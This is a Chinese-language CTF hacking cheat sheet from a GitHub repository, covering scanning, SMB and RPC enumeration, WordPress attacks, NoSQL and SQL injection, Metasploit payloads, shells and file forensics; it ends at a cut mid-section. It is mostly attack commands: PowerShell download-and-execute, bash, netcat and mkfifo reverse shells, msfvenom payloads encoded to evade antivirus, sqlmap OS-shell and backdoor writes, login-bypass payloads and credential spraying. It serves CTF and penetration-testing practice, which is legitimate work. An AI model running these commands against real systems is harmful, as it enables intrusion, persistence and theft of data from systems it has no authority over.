uppusaikiran/awesome-ctf-cheatsheet
GitHub: uppusaikiran/awesome-ctf-cheatsheet
一份综合性的 CTF 夺旗赛速查表,汇总了系统黑客、Web 渗透、密码学、数字取证、密码破解和权限提升等方向的常用工具命令与实战技巧。
Stars: 135 | Forks: 12
# Awesome Capture the Flag 速查表 [](https://awesome.re)[
](https://uppusaikiran.github.io/hacking/Capture-the-Flag-CheatSheet/)
## 目录
- [系统黑客 ](#system-hacking)
- [Web 黑客](#web-hacking)
- [文件黑客](#file-hacking)
- [密码学](#cryptography)
- [数字取证](#forensics)
- [密码破解](#password-cracking)
- [权限提升](#privilige-escalation)
## 系统黑客
### Nmap 扫描
在 CTF 环境中,为了高效地发现主机、服务和漏洞,Nmap 是一款至关重要的工具。以下是一些精选的命令和策略:
#### 🔍 发现子网中的存活主机:
```
nmap -sn 10.10.0.0/24
```
使用此命令可快速找出哪些机器处于开启状态。
#### 🔧 服务和版本检测:
```
nmap -sV
```
识别开放端口以及运行服务的版本。
#### 🚨 漏洞扫描:
```
nmap --script vuln
```
针对已知服务使用默认的漏洞检测脚本。
#### 🔍 强力全端口 + OS 检测 + 脚本扫描:
```
nmap -sS -T4 -A -p-
```
扫描所有 65535 个 TCP 端口,并进行 OS、版本检测、脚本扫描和 Traceroute。
#### 🔐 SSL/TLS 枚举:
```
nmap --script ssl-enum-ciphers -p 443
```
显示 HTTPS 服务支持的 SSL/TLS 密码。
### 🎯 CTF 专家提示:
- **快速扫描特定端口:**
```
nmap -sS -p 21,22,80,443
```
重点关注常用服务端口。
- **仅扫描 Top 端口(快速扫描):**
```
nmap --top-ports 100 -T4
```
扫描最常用的 100 个端口。
- **UDP 扫描:**
```
nmap -sU -T4 -F
```
适用于 DNS (53)、SNMP (161) 等服务。
- **暴力破解登录脚本(请负责任地使用):**
```
nmap --script ftp-brute -p 21
```
尝试对暴露的 FTP 进行暴力破解登录。
- **查找 HTTP 隐藏路径或目录:**
```
nmap --script http-enum -p 80
```
列出 Web 目录。
- **检测 SMB 共享:**
```
nmap --script smb-enum-shares -p 445
```
有助于横向移动或获取敏感信息。
- **针对所有服务的强力脚本扫描:**
```
nmap -sC -sV
```
运行一组默认脚本进行信息收集。
- **将扫描输出保存到文件(用于笔记):**
```
nmap -sV -oN scan.txt
```
用于生成文档或后续审查。
利用 Nmap 的脚本数据库(`ls /usr/share/nmap/scripts/`)探索更多针对您 CTF 场景的脚本。
在需要时保持隐蔽,并始终根据挑战的时间限制和规则调整您的扫描策略。
### Netdiscover 扫描
要被动地发现网络上的机器,请使用 **Netdiscover**。它通过监听 ARP 请求来识别存活主机,而无需发送数据包,这使其成为 CTF 或红队演练中进行隐蔽侦察的理想选择。
```
netdiscover -i
```
如果不确定您的网络接口,请使用以下命令进行识别:
```
ip a
# 或
ifconfig
```
**示例输出:**
```
Currently scanning: 192.168.17.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 8 hosts. Total size: 480
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 11:22:33:44:55:66 1 60 NETGEAR
192.168.1.2 21:22:33:44:55:66 1 60 Apple, Inc.
192.168.1.8 41:22:33:44:55:66 1 60 Intel Corporate
```
### 🎯 使用 Netdiscover 的 CTF 专家提示:
- **使用 `-r` 参数扫描特定子网范围:**
```
netdiscover -r 10.10.0.0/24
```
对于已知范围(例如在 HackTheBox 或 TryHackMe 实验室中),这比默认模式更快。
- **与 Wireshark 或 tcpdump 结合使用:**
使用 `netdiscover` 查找活跃主机,然后使用数据包嗅探器对它们进行监控。
- **扫描 MAC 供应商异常:**
识别具有伪造 MAC 的设备(例如 "Private" 或 "Unknown"),这些可能是攻击者控制的设备。
- **在 CTF 会话期间在后台运行:**
在单独的终端中保持 `netdiscover` 运行,以监控加入网络的新设备。
- **在隐蔽模式下使用:**
与 Nmap 不同,这不会主动探测。有利于在蓝队 CTF 场景中避免被发现。
**重要提示:** Netdiscover 仅适用于本地网络。它无法发现子网之外的主机。
为了获得最大效果,一旦发现初始目标,请始终将被动扫描与主动工具(如 Nmap)结合使用。
### Nikto 扫描
使用 **Nikto** 扫描 Web 漏洞,这是一款功能强大的 Web 服务器扫描器,可以测试数以千计的已知问题。
```
nikto -h
```
该工具可有效识别过时的软件、不安全的配置和常见的 CVE。
### 🎯 使用 Nikto 的 CTF 专家提示:
- **使用 SSL 支持扫描 HTTPS 主机:**
```
nikto -h https://
```
检测特定于 SSL 的漏洞。
- **将输出保存到文件以供审查或报告:**
```
nikto -h -output nikto_scan.txt
```
用于生成文档或后渗透分析。
- **扫描特定端口(例如 8080, 8443):**
```
nikto -h -p 8080
```
CTF 通常在非标准端口上运行 Web 服务器。
- **与 Web 代理(例如 Burp Suite)配合使用:**
```
nikto -h -useproxy http://127.0.0.1:8080
```
手动拦截和分析请求。
- **结合其他工具:**
使用 Nikto 的发现结果,将其输入到 `gobuster`、`wpscan` 或自定义脚本等工具中进行进一步攻击。
**注意:** Nikto 噪音很大且容易被检测到。除非被允许,否则请避免在隐蔽/红队场景中使用。
### Web 服务器枚举
当端口 **80 (HTTP)** 或 **443 (HTTPS)** 打开时,通常表明存在 Web 服务。这是一个枚举 Flag、目录和特定版本漏洞的好机会。
### 🔍 基本 Web 检查
- **检查隐藏路径:**
```
curl http:///robots.txt
```
在 CTF 中常用于存放彩蛋或线索。
- **识别 Web 服务器及版本:**
```
curl -I
```
**示例输出:**
```
HTTP/1.1 200 OK
Date: Mon, 11 May 2020 05:18:21
Server: gws
Last-Modified: Mon, 11 May 2020 05:18:21
Content-Length: 4171
Content-Type: text/html
Connection: Closed
```
查看 `Server:` 标头,查明它是 Apache、Nginx 还是特定供应商的产品。
### 🛡️ 如果端口 80 已关闭但预期它应该是开放的
这可能表明:
- 存在 **入侵检测系统**
- 启用了 **端口碰撞** 机制
#### 解决方法:
- **带延迟重新扫描:**
```
sleep 10 && nmap -p 80
```
有时端口可用性会在一段时间后或在探测其他端口后发生变化。
- **使用 TCP 连接扫描绕过 SYN 扫描限制:**
```
nmap -p 80 -sT
```
示例输出:
```
PORT STATE SERVICE
80/tcp closed http
```
SYN 扫描 (`-sS`) 可能会被防火墙阻止或过滤,而在某些设置中,`-sT`(完整的 TCP 握手)可以绕过它。
### 🎯 CTF 专家提示:
- **使用 `whatweb` 或 `wappalyzer` 等工具** 检测 CMS 或框架。
```
whatweb
```
- **结合 `gobuster` 或 `dirsearch`** 暴力破解目录:
```
gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt
```
- **如果识别出 CMS,务必检查默认凭据**(例如 `admin:admin`、`guest:guest`)。
- **当发现登录门户或表单时,使用 Burp Suite 或 ZAP 进行更深入的检查。**
- **如果在 80/443 上未找到 Web 应用程序,请尝试其他端口,如 8080、8000 或 8443。**
Web 服务通常将 CTF Flag 隐藏在目录、源代码注释或错误配置中。请务必彻底检查!
### 📂 目录爆破
要枚举 Web 服务器上的隐藏目录和文件,在 CTF 中目录暴力破解是必不可少的。
#### 使用 `wfuzz`:
```
wfuzz -u http:///FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```
#### 使用 `gobuster`(更快的替代方案):
```
gobuster dir -u http:/// -w /usr/share/wordlists/dirb/common.txt -t 50
```
#### 使用 `dirsearch`(基于 Python 的工具):
```
python3 dirsearch.py -u http:/// -e php,html,txt -x 403,404
```
### 🎯 CTF 专家提示:
- **尝试多种扩展名**:CTF Flag 通常被隐藏为 `.php`、`.txt`、`.bak` 等。
```
-gobuster -x php,txt,bak
```
- **在 `dirsearch` 等工具中使用递归模式**,深入探索已发现的文件夹。
- **过滤掉 403/404 响应**,以减少噪音并专注于有效路径。
- **寻找备份文件或配置泄漏**,如 `.git/`、`config.php`、`.env`。
- **使用 `wfuzz` 扫描隐藏参数**:
```
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http:///index.php?FUZZ=test
```
- **检查 robots.txt 和 sitemap.xml** 以获取隐藏页面的提示。
### 🧠 从网站生成字典
使用 `cewl` 爬取目标网站并根据其内容生成自定义字典——适用于密码攻击、用户名发现或目录暴力破解。
#### 基本用法:
```
cewl -w wordlist.txt -d 10 -m 1 http:///
```
#### 字数统计:
```
wc wordlist.txt
# 354 354 2459 wordlist.txt
```
### 🎯 CTF 专家提示:
- **增加深度 (`-d`)** 从更深的页面(例如 `/about`、`/team`、`/login`)中提取单词。
- **使用 `-e`** 在输出中包含电子邮件地址:
```
cewl -e -w emails.txt http:///
```
- **与 Hydra 或 Burp 结合使用** 进行登录暴力破解攻击。
- **使用自定义 user-agent (`-a`) 运行** 以绕过基本的 WAF:
```
cewl -a "Mozilla/5.0" -w wordlist.txt http:///
```
- **如果网站包含带数字的单词(例如 `admin123`),请使用 `--with-numbers`。**
### 📁 SMB 已开放
当端口 **139/445** 打开时,目标可能正在运行 **SMB (Server Message Block)**——在 CTF 中经常被错误配置,使其成为枚举和利用的金矿。
#### 🔍 匿名共享枚举
```
smbclient -L \\\\
```
列出可用的共享。如果在没有凭据的情况下成功,则说明服务器允许匿名登录。
#### 📂 挂载 SMB 共享(匿名或经过身份验证)
```
mkdir /mnt/smb
mount -t cifs /// /mnt/smb/ -o guest
```
或使用凭据:
```
mount -t cifs /// /mnt/smb/ -o username=,password=
```
#### 🔐 使用凭据 – 使用 `smbmap`
```
smbmap -H -u administrator -p password
```
枚举共享、权限和访问级别。
#### 🚀 获取 Shell – 使用 `psexec.py`
```
python3 /opt/impacket/examples/psexec.py administrator@
```
如果凭据有效且 ADMIN$ 可访问,这将使您进入一个 SYSTEM shell。
### 🎯 CTF 专家提示:
- **使用 `enum4linux`** 进行快速、详细的 SMB 扫描:
```
enum4linux -a
```
- **在诸如 `Backups`、`Users` 或 `C$` 的共享中寻找备份文件或 password.txt**。
- **交互式使用 `smbclient`** 探索共享:
```
smbclient \\\\\\Backups
smb: \> ls
```
- **尝试空会话 (`-N`)**:
```
smbclient -L // -N
```
- **如果 `psexec.py` 失败**,请尝试 `wmiexec.py`、`smbexec.py` 或 `atexec.py`(来自 Impacket)。
- **使用 `crackmapexec` 等工具进行自动化** 大规模凭据喷洒:
```
crackmapexec smb -u users.txt -p passwords.txt
```
### 💾 提取和挂载 VHD 驱动器文件
虚拟硬盘 (VHD) 文件通常出现在数字取证或基于 Windows 的 CTF 挑战中。它们可能包含隐藏的 Flag、用户配置文件或敏感文件。
#### 📦 列出 VHD 的内容
```
7z l .vhd
```
在挂载前快速检查存档以确认其结构。
#### 🔗 使用 Guestmount 挂载 VHD
```
guestmount --add .vhd --inspector -ro -v /mnt/vhd
```
- `--inspector`:自动检测并挂载正确的分区。
- `-ro`:以**只读**方式挂载(对分析很安全)。
- `-v`:启用详细输出。
请确保已安装 `libguestfs-tools`。
### 🎯 CTF 专家提示:
- **务必检查 `Desktop`、`Downloads`、`Documents` 中的 `.flag`、`.txt` 或 `.zip`。**
- **在以下位置搜索浏览器历史记录或凭据:**
- `AppData/Roaming`
- `Users//Recent`
- **如果 guestmount 失败**,请尝试手动分区检测:
```
fdisk -l .vhd
```
然后使用 loop 设备挂载:
```
mount -o ro,loop,offset= .vhd /mnt/vhd
```
- **使用 `strings` 或 `binwalk`** 从 VHD 文件中提取线索:
```
strings .vhd | grep flag
```
### 🔍 在 Metasploit 中按名称搜索漏洞利用
使用 `searchsploit` 从 Exploit-DB 存储库中快速查找已知的漏洞利用或漏洞。
#### 基本用法:
```
searchsploit apache 1.2.4
```
在本地数据库中搜索特定 Apache 版本的漏洞利用。
### 🎯 CTF 专家提示:
- **使用 `-x` 直接打开漏洞利用:**
```
searchsploit -x exploits/unix/remote/12345.txt
```
- **镜像数据库以确保其是最新的:**
```
searchsploit -u
```
- **使用引号进行精确匹配:**
```
searchsploit "Apache 2.4.49"
```
- **在 PoC 中搜索关键字(例如 RCE、LFI):**
```
searchsploit --www | grep RCE
```
- **如果已知 CVE-ID,请使用它进行搜索:**
```
searchsploit CVE-2021-41773
```
- **直接在 Metasploit 中搜索:**
```
msfconsole
> search type:exploit name:apache
```
### 📰 WordPress 已开放
如果在 Web 枚举期间发现了 `/wp-login.php`,则目标可能正在运行 WordPress——这是 CTF 中常见且通常存在漏洞的 CMS。
#### 🔑 使用 Hydra 暴力破解登录
- 根据失败登录的响应调整 `F=` 字符串。
- 使用 **Burp Suite** 捕获登录 POST 参数。
#### 🔎 使用 WPScan 扫描插件、主题和漏洞
```
gem install wpscan
wpscan --url http:// --enumerate u,vt,tt,cb,dbe --plugins-detection aggressive
```
- 使用凭据:
```
wpscan --url http:// --usernames admin --passwords wordlist.dic
```
#### 🐚 通过管理员上传反向 Shell (Metasploit)
```
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set RHOST
set USERNAME admin
set PASSWORD
run
```
### 🎯 CTF 专家提示:
- **检查 `/readme.html` 或 `wp-includes/version.php`** 以获取 WordPress 版本泄漏。
- **务必先枚举用户**,以减少暴力破解尝试:
```
wpscan --url http:// --enumerate u
```
- **扫描过时的插件/主题**——它们是常见的攻击媒介。
- **在插件文件中寻找可写的上传目录或 `eval()` 的使用。**
- **如果已知源代码或版本,请在鲜为人知的插件上尝试 LFI/SQLi。**
### 🛰️ RPC 已开放
如果端口 **135**(或通过 SMB 的 RPC 的 **445** 端口)打开,则表示这是一个具有远程过程调用 (RPC) 功能的 Windows 主机。配置不当的 RPC 访问可能会暴露用户名、共享和域信息。
#### 🔐 匿名 RPC 登录
```
rpcclient -U ""
```
在提示输入密码时按 **Enter** 以尝试空会话。
### 🎯 CTF 专家提示:
- **枚举用户:**
```
rpcclient -U "" -c "enumdomusers"
```
- **获取详细的用户信息:**
```
rpcclient -U "" -c "queryuser RID"
```
- **枚举组:**
```
rpcclient -U "" -c "enumdomgroups"
```
- **查找策略或域信息:**
```
rpcclient -U "" -c "getdompwinfo"
```
- **与 `smbclient` 结合使用**,根据枚举结果访问用户目录。
- **使用 RID 循环暴力破解用户名:**
```
rpcclient -U "" -c "lookupsids S-1-5-21-XXXX-XXXX-XXXX-500"
```
- **如果找到了凭据**,请将其与 `rpcclient -U user%pass ` 一起使用以获得完全访问权限。
### 💻 PowerShell
PowerShell 是 Windows 机器上强大的后渗透和枚举工具。
#### 🚫 绕过执行策略
```
powershell.exe -exec bypass
```
允许执行未签名的脚本而无需修改系统范围的策略。
### 🎯 CTF 专家提示:
- **下载并执行 Payload:**
```
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http:///rev.ps1')"
```
- **运行编码命令以规避检测:**
```
powershell -EncodedCommand
```
- **使用 PowerView 或 Nishang** 进行枚举、权限提升和持久化。
- **使用 `-w hidden` 抑制 PowerShell 窗口(后渗透):**
```
powershell -w hidden -exec bypass -File script.ps1
```
- **枚举系统信息、用户和网络:**
```
Get-LocalUser
Get-LocalGroupMember administrators
Get-NetIPAddress
```
### 🧬 NoSQL 注入 – 完整的 CTF 利用指南
#### 🔓 登录绕过 Payload
这些利用了 MongoDB 灵活的查询特性:
```
username[$ne]=null&password[$ne]=null
username[$gt]=admin&password[$gt]=admin
username[$regex]=.*&password[$regex]=.*
username[$in][]=admin&password[$in][]=admin
```
这些 Payload 通过在任何非空或正则表达式匹配上返回 `true` 来允许登录。
### 🛠️ 常见注入入口点
| 注入途径 | 描述 |
|-------------------------|-------------------------------------|
| URL 参数 | `?username[$ne]=1&password[$ne]=1` |
| 表单字段 (POST) | 登录输入 |
| JSON 主体 | `{"username": {"$ne": null}}` |
| HTTP 标头 | `X-User: {"$gt": ""}` |
### 🧪 盲注 NoSQL 注入(用户枚举)
尝试逐个字母暴力破解用户名:
```
username[$regex]=^a&password[$ne]=x
username[$regex]=^adm&password[$ne]=x
```
检查响应差异以确认部分匹配。
#### 🔍 通过正则表达式提取用户名
这有助于发现有效用户:
```
username[$regex]=^admin&password[$ne]=anything
```
### 🧠 提取密码长度(使用 `$where`)
如果支持 `$where`(JS 注入):
```
username=admin&password[$where]=this.password.length==6
```
首先枚举长度,然后逐个字符提取。
### 🔁 基于时间的注入(时序攻击)
如果错误信息没有帮助,请利用时间:
```
username=admin&password[$where]=sleep(5000)
```
或者对于某些框架:
```
username=admin&password[$where]=function() { sleep(5000); return true; }
```
如果发生延迟,则说明注入成功。
### 🧰 自动化工具
#### 🛠️ NoSQLMap
```
git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap
python3 nosqlmap.py
```
用于:
- 转储数据库
- 枚举用户
- 身份验证绕过
- JS 注入利用
#### 🐍 Burp Suite + Intruder
1. 拦截登录 POST 请求。
2. 发送到 Intruder。
3. 使用以下 Payload 进行模糊测试:
- `[$ne]=1`
- `[$regex]=^a`
- `[$where]=...`
监控响应的变化。
### 🔐 权限提升 / 管理员劫持
如果用户存在:
```
username=admin&password[$ne]=invalid
```
如果登录成功,则已确认用户 `admin` 存在。
绕过方法:
```
username=admin&password[$gt]=
```
如果管理面板访问是通过角色控制的:
```
role[$eq]=admin
```
### 🧨 绕过过滤器
绕过弱过滤:
- 使用数组参数:`username[$in][]`
- 编码特殊字符:`%24ne`,`%24regex`
- JSON 嵌套注入:
```
{"user":{"$gt":""}}
```
### 🎯 最终 CTF 提示:
- **检查登录、搜索、过滤和 API 端点**——任何用户输入到达 MongoDB 的地方。
- **探索标头(`X-User`、`X-Auth`)**,在隐藏的 API 中进行 NoSQL 注入。
- **在尝试暴力破解之前,务必先枚举用户名。**
- **寻找启用 JavaScript 的后端以利用 `$where`。**
- **将 NoSQLi 与 LFI、RCE 或配置不当的 MongoDB 访问结合起来利用。**
## Web 黑客
### Web 黑客的五个阶段
```
* Reconnaissance
* Scanning and Enumeration
* Gaining Access
* Maintaining Access
* Covering Tracks
```
### 🛰️ 枚举和侦察工具
在 CTF 中,侦察至关重要。在利用之前,请使用这些工具收集情报。
#### 🔎 被动侦察
- **Whois、Nslookup、Dig、Dnsrecon** – 基本的 DNS 和域信息。
- **Google Dorking (Google Fu)** – 发现暴露的文件或目录:
- `site: ext:log`
- `intitle:index.of "backup"`
#### 🌐 子域和证书枚举
- [**Sublist3r**](https://github.com/aboul3la/Sublist3r) – 快速子域发现:
sublist3r -d target.com
- [**crt.sh**](https://crt.sh) – 公共 SSL 证书透明度日志。
- [**Amass**](https://github.com/owasp-amass/amass) – 广泛的子域和 DNS 枚举。
#### 📧 电子邮件和泄露查询
- [**Hunter.io**](https://hunter.io) – 发现相关电子邮件。
- [**HaveIBeenPwned**](https://haveibeenpwned.com/) – 检查电子邮件泄露情况。
- [明文密码数据集](https://github.com/philipperemy/tensorflow-1.4-billion-password-analysis) – 构建真实的密码列表。
#### 🧠 指纹识别和技术栈
- **Wappalyzer**、**WhatWeb**、**BuiltWith** – 识别后端技术、CMS 或框架。
- **Nmap** – 版本检测和端口扫描。
- **Netcat** – 基本的 Banner 抓取或监听器设置。
#### 🔐 标头、文件和隐藏路径
- [**SecurityHeaders**](https://securityheaders.com/) – 扫描 HTTP 标头中的配置错误。
- **OWASP ZAP 代理** – 抓取并提取隐藏文件或管理员路径。
- **Burp Suite** – Spider、Repeater、Intruder 用于彻底的侦察。
#### 🕵️♀️ 从搜索引擎中收集信息
```
theharvester -d microsoft.com -l 200 -g -b google
```
- 使用 `-b all` 进行多引擎抓取。
- 针对电子邮件、域名、子域、主机、员工姓名。
### 🎯 CTF 专家提示:
- 始终在**并行线程**中运行侦察(子域、证书、电子邮件等)。
- 使用发现的结果创建用于暴力破解的**自定义字典**(例如通过 `cewl`、`crunch`)。
- 将发现的结果转化为主动攻击——开放端口、登录面板、电子邮件和配置错误通常会导致第一个立足点。
### 扫描
对网络进行 Ping 扫描。
```
> $ nmap -sn
```
速度为 4 的 SYN 扫描和常用的 1000 个 TCP 端口。
```
> $ nmap -T4
```
包含 OS、版本、脚本和 Traceroute 的所有端口全扫描。
```
> $ nmap -T4 -A -p-
```
扫描 UDP 端口(不要扫描所有端口,因为这会耗费大量时间)。
```
> $ nmap -sU -T4
```
### 💣 Payload
Payload 是利用后在目标上执行的代码。在 Metasploit 中,它们被分类为 **Staged** 和 **Non-Staged**。
#### 🧱 Non-Staged Payload (单一 Payload)
```
windows/meterpreter_reverse_tcp
```
- 一次性发送**整个 Payload**。
- 更容易被检测到,但**更简单**易用。
- 在**不稳定的网络**中更可靠。
#### 🧩 Staged Payload (模块化/两步)
```
windows/meterpreter/reverse_tcp
```
- 首先发送一个**小型 Stager**,然后下载完整的 Payload。
- 传输时占用空间较小,适用于**绕过过滤器**。
- **更具隐蔽性**,但在连接不稳定时可能会中断。
### 🎯 CTF 专家提示:
- 使用 **`msfvenom`** 生成独立的 Payload:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > shell.exe
```
- 用于上传 Web Shell:
```
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=4444 -f raw > shell.php
```
- 在 Metasploit 中使用 **`multi/handler`** 接收 Shell:
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT 4444
run
```
- 对 Payload 进行编码以绕过 AV:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -e x86/shikata_ga_nai -f exe > shell.exe
```
### 🐚 Shell
Shell 对于后渗透访问至关重要。它们可以是 **Bind Shell** 或 **Reverse Shell**,具体取决于由哪一方发起连接。
#### 🔗 Bind Shell
目标监听,攻击者连**入**。
1️⃣ **在目标机上(创建 Shell):**
```
nc -lvp -e /bin/bash
```
2️⃣ **在攻击机上(连接到 Shell):**
```
nc
```
#### 🔁 Reverse Shell
攻击者监听,目标连**回**。
1️⃣ **在攻击机上(监听):**
```
nc -lvp 9001
```
2️⃣ **在目标机上(触发 Shell):**
```
bash -c 'bash -i &> /dev/tcp//9001 0>&1'
```
#### 🧪 Perl Reverse Shell(在 CTF 中很常见)
```
perl -MIO -e '$p=fork;exit if $p;...'
```
- 当您通过 Web 获得命令执行权限时使用。
- 替换为您的 IP 和端口。
- 稳定但容易被检测到——稍后请升级 Shell。
### 🧼 Shell 升级技巧
如果您获得了一个基本的 Shell,请对其进行升级:
```
python -c 'import pty; pty.spawn("/bin/bash")'
```
并使其具有交互性:
```
CTRL+Z
stty raw -echo; fg
reset
export TERM=xterm
```
### 🎯 CTF 专家提示:
- **始终尝试多种 Shell 方法:** Bash、Python、Perl、PHP、Socat。
- **使用 `rlwrap` 或 `script` 包装 Netcat** 以实现历史记录/导航功能。
- **有些机器会阻止 Netcat**——使用 `socat` 或 `mkfifo` Shell:
```
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc > /tmp/f
```
- **检查 Cron 任务或文件上传以使用 Reverse Shell 实现持久化。**
### 💥 缓冲区溢出
缓冲区溢出利用可用于执行任意代码,通常会提供 Shell 访问权限。其中一个关键步骤是将 Shellcode 注入到程序的内存中。
#### 🛠️ 使用 `pwntools` (Python) 生成 Shellcode
生成用于执行 `/bin/sh` 的快速 Shellcode:
```
python -c "import pwn; print(pwn.asm(pwn.shellcraft.linux.sh()))"
```
#### 🔁 将 Shellcode 通过管道传递给易受攻击的二进制文件
```
(python -c "import pwn; print(pwn.asm(pwn.shellcraft.linux.sh()))"; cat) | ./vuln
```
- 结合 Shellcode 和标准输入以实时利用缓冲区。
- `cat` 在 Payload 注入后保持会话活跃。
### 🎯 CTF 专家提示:
- **为 Shellcode 设置架构**:
```
context.arch = 'amd64' # or 'i386'
```
- **使用 GDB 进行调试:**
```
gdb ./vuln
```
- **使用模式生成来查找偏移量:**
```
pwn cyclic 100
pwn cyclic -l
```
- **附加 `pwntools` 调试器**:
```
p = gdb.debug("./vuln", gdbscript="b *main\ncontinue")
```
- **使用 `ROPgadget` 查找有用的指令**,用于 ret2libc 或 ROP 链接。
### 🚪 Gobuster – 目录与文件枚举
Gobuster 是一款快速、灵活的工具,用于暴力破解 Web 服务器上的目录、文件和虚拟主机——在 CTF 期间发现隐藏内容的关键。
#### 🔍 基本目录枚举
```
gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```
- 使用默认扩展名或结合 `-x php,txt,bak` 以获得更好的结果。
#### 🍪 使用 Cookies(经过身份验证的枚举)
```
gobuster dir -u http:// \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php -c PHPSESSID=
```
- 当需要登录或访问基于会话时非常有用。
### 🎯 CTF 专家提示:
- **针对文件扩展名**:
```
-x php,html,txt,bak,zip
```
- **更改状态码过滤器** 以包含重定向、禁止等:
```
--status-codes 200,204,301,302,307,401,403
```
- **递归暴力破解**(手动探索找到的目录)。
- **初始扫描使用较小的字典**,然后进行细化:
- `/usr/share/wordlists/dirb/common.txt`
- `/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt`
- **添加 user-agent 以绕过简单的 WAF:**
```
--user-agent "Mozilla/5.0"
```
- **使用k` 扫描 HTTPS URL** 以忽略 SSL 验证(CTF 通常使用自签名证书):
```
gobuster dir -k -u https:// -w ...
```
- **不要错过隐藏的管理员或上传门户**,例如:
- `/admin`、`/upload`、`/debug`、`/backup`
### 🧬 SQLMap – SQL 注入自动化
SQLMap 可自动检测和利用 SQL 注入缺陷。在 CTF 中,这是提取数据库、用户、表甚至获取 Shell 的快捷方式。
#### 🔁 通过 Burp Suite 捕获 HTTP 请求
1. 拦截一个易受攻击的 POST 请求:
```
POST / HTTP/1.1
Host:
...
search=help
```
2. **右键单击 → 保存到文件**(例如 `search.req`)
#### 🚀 对捕获的请求运行 SQLMap
```
sqlmap -r search.req --batch --force-ssl
```
- `-r`:使用原始 HTTP 请求文件。
- `--batch`:在没有交互式提示的情况下运行。
- `--force-ssl`:适用于 HTTPS 端点。
### 🎯 CTF 专家提示:
- **提取完整的数据库结构:**
```
sqlmap -r search.req --dbs
sqlmap -r search.req -D --tables
sqlmap -r search.req -D -T --dump
```
- **枚举当前的数据库、用户和版本:**
```
sqlmap -r search.req --current-db
sqlmap -r search.req --current-user
sqlmap -r search.req --banner
```
- **OS Shell 或文件写入:**
```
sqlmap -r search.req --os-shell
sqlmap -r search.req --file-write=backdoor.php --file-dest=/var/www/html/backdoor.php
```
- **测试特定参数(如果请求包含多个参数):**
```
sqlmap -r search.req -p search
```
- **绕过 WAF:**
```
--tamper=space2comment,randomcase
```
- **使用 Cookies(如果需要会话):**
```
sqlmap -r search.req --cookie="PHPSESSID="
```
- **避免被 IDS 检测:**
```
--random-agent --delay=1 --threads=1
```
## 文件黑客
### 📄 从 PDF 文件中提取隐藏文本
CTF 中的 PDF 通常使用图层、压缩、白色文本或嵌入对象来隐藏 Flag。
#### 🖱️ 手动提取(快速尝试)
1. **打开 PDF → Ctrl + A → Ctrl + C**
2. **粘贴到记事本** 或任何纯文本编辑器中。
#### 🎨 使用 Inkscape(针对嵌入/分层的 Flag)
1. 在 [**Inkscape**](https://inkscape.org) 中打开 PDF
2. 反复点击 **“取消编组”** (`Shift + Ctrl + G`)
3. 寻找:
- 白底白字
- 隐藏对象或覆盖层
- 画布外的数据
#### 🔧 使用 `qpdf` 解压 PDF
```
qpdf --qdf --object-streams=disable input.pdf output_uncompressed.pdf
```
- 将 PDF 流转换为可读文本。
- 使用文本编辑器打开并搜索 `flag`、`HTB`、`CTF{` 等。
### 🎯 CTF 专家提示:
- **在十六进制编辑器中搜索**嵌入的字符串:
```
strings file.pdf | grep -i flag
```
- **使用 `pdf-parser.py`**(由 Didier Stevens 编写)检查 PDF 对象:
```
pdf-parser.py input.pdf
```
- **如果 PDF 嵌入了其他文件,请尝试 `binwalk`**:
```
binwalk input.pdf
```
- **如果是图像密集型的,请在 GIMP 或 Photoshop 中寻找不可见/隐藏的图层。**
- **如果文本嵌入在图像中,请使用 OCR (`tesseract`)**:
```
tesseract image.png stdout
```
### 📦 压缩文件提取
在 CTF 中,压缩文件可能会将 Flag 深度嵌套隐藏,或者使用备用扩展名或嵌入格式进行伪装。
#### 🔍 识别文件类型 (Magic Bytes)
检查文件头:
```
xxd | head
```
- 如果它以 `50 4B` (`PK`) 开头,那么它很可能是一个 **ZIP** 文件,即使其扩展名具有误导性。
#### 🧨 使用 `binwalk` 递归提取
```
binwalk -Me
```
- `-M`:启用嵌入文件的递归提取。
- `-e`:自动提取已知文件类型。
- 将输出保存在 `_FILE_NAME.extracted/` 中。
### 🎯 CTF 专家提示:
- **使用 `file` 命令确认类型:**
```
file
```
- **如果是标准 ZIP,请手动解压:**
```
unzip
```
- **对于未知或嵌套格式,请使用 `7z`:**
```
7z x
```
- **检查内部是否存在受密码保护的存档:**
- 使用 `fcrackzip` 或 `john` 进行暴力破解:
```
fcrackzip -v -u -D -p wordlist.txt protected.zip
```
- **有时 `.jpg`、`.png` 或 `.docx` 内部会隐藏 zip。使用 `binwalk` 或 `steghide` 进行检测。**
- **用于嵌套 zip 的循环解压脚本:**
```
while file *.zip | grep -q 'Zip archive'; do for f in *.zip; do unzip "$f" -d "${f}_unzipped"; done; cd *_unzipped; done
```
### 🧵 提取隐藏字符串
CTF 文件通常以二进制、编码或混淆的形式隐藏 Flag。使用基本的 Linux 工具进行深度检查。
#### 🔍 查看嵌入或编码的文本
**使用 `strings` 提取 ASCII 可读数据:**
```
strings | grep -i flag
```
**使用 `hexeditor` 手动检查二进制布局:**
```
hexeditor
```
- 寻找可读数据、base64 模式和意外的标头。
- 寻找诸如 `flag{...}`、`HTB{...}` 之类的线索,甚至是 **Unicode 编码**的文本。
#### 🔐 检测 Base64(在 CTF 中很常见)
如果您看到如下模式:
```
U2FsdGVkX1+VZmxhZ3s0aGFja2VkX2ZsYWd9==
```
结尾的 `==` 表明是 **base64 编码**:
```
echo 'U2FsdGVk...' | base64 -d
```
### 📡 运行时跟踪(动态分析)
#### 🧩 使用 `strace` 监控系统调用:
```
